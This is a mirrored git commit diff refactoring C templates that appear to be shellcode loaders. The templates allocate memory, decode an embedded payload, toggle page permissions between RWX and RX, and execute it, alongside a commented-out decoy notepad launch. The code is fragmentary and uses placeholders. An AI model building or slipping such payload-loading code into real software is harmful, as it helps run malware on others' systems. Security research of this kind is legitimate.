mirror of
https://github.com/dobin/SuperMega
synced 2026-06-03 01:27:11 +00:00
refactor: template code
This commit is contained in:
@@ -30,12 +30,15 @@ int main()
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Decoy
|
// Decoy
|
||||||
WinExec("C:\\windows\\system32\\notepad.exe", 1);
|
//WinExec("C:\\windows\\system32\\notepad.exe", 1);
|
||||||
|
|
||||||
// Allocate 1
|
// Allocate 1
|
||||||
// char *dest = ...
|
// char *dest = ...
|
||||||
char *dest = VirtualAlloc(NULL, {{PAYLOAD_LEN}}, 0x3000, p_RW);
|
char *dest = VirtualAlloc(NULL, {{PAYLOAD_LEN}}, 0x3000, p_RW);
|
||||||
|
|
||||||
|
// Wait a bit
|
||||||
|
//sleep_ms(2000);
|
||||||
|
|
||||||
// Copy (and decode)
|
// Copy (and decode)
|
||||||
// from: supermega_payload[]
|
// from: supermega_payload[]
|
||||||
// to: dest[]
|
// to: dest[]
|
||||||
|
|||||||
@@ -29,10 +29,16 @@ int main()
|
|||||||
return 6;
|
return 6;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Decoy
|
||||||
|
//WinExec("C:\\windows\\system32\\notepad.exe", 1);
|
||||||
|
|
||||||
// Allocate 1
|
// Allocate 1
|
||||||
// char *dest = ...
|
// char *dest = ...
|
||||||
char *dest = VirtualAlloc(NULL, {{PAYLOAD_LEN}}, 0x3000, p_RW);
|
char *dest = VirtualAlloc(NULL, {{PAYLOAD_LEN}}, 0x3000, p_RW);
|
||||||
|
|
||||||
|
// Wait a bit
|
||||||
|
//Sleep(2000);
|
||||||
|
|
||||||
// Copy (and decode)
|
// Copy (and decode)
|
||||||
// from: supermega_payload[]
|
// from: supermega_payload[]
|
||||||
// to: dest[]
|
// to: dest[]
|
||||||
|
|||||||
@@ -22,14 +22,18 @@ int main()
|
|||||||
|
|
||||||
// Note: RWX if carrier and payload are on the same page (or we cant exec copy..)
|
// Note: RWX if carrier and payload are on the same page (or we cant exec copy..)
|
||||||
// can do only RW otherwise?
|
// can do only RW otherwise?
|
||||||
if (VirtualProtect(dest, {{PAYLOAD_LEN}}, p_RWX, &result) == 0) {
|
for(int n=0; n<({{PAYLOAD_LEN}}/4096)+1; n++) {
|
||||||
|
if (VirtualProtect(dest + (n * 4096), 16, p_RWX, &result) == 0) {
|
||||||
return 16;
|
return 16;
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
|
||||||
{{ plugin_decoder }}
|
{{ plugin_decoder }}
|
||||||
|
|
||||||
if (VirtualProtect(dest, {{PAYLOAD_LEN}}, p_RX, &result) == 0) {
|
for(int n=0; n<{{PAYLOAD_LEN}}/4096; n++) {
|
||||||
return 17;
|
if (VirtualProtect(dest + (n * 4096), 16, p_RX, &result) == 0) {
|
||||||
|
return 16;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// Execute *dest
|
// Execute *dest
|
||||||
|
|||||||
Reference in New Issue
Block a user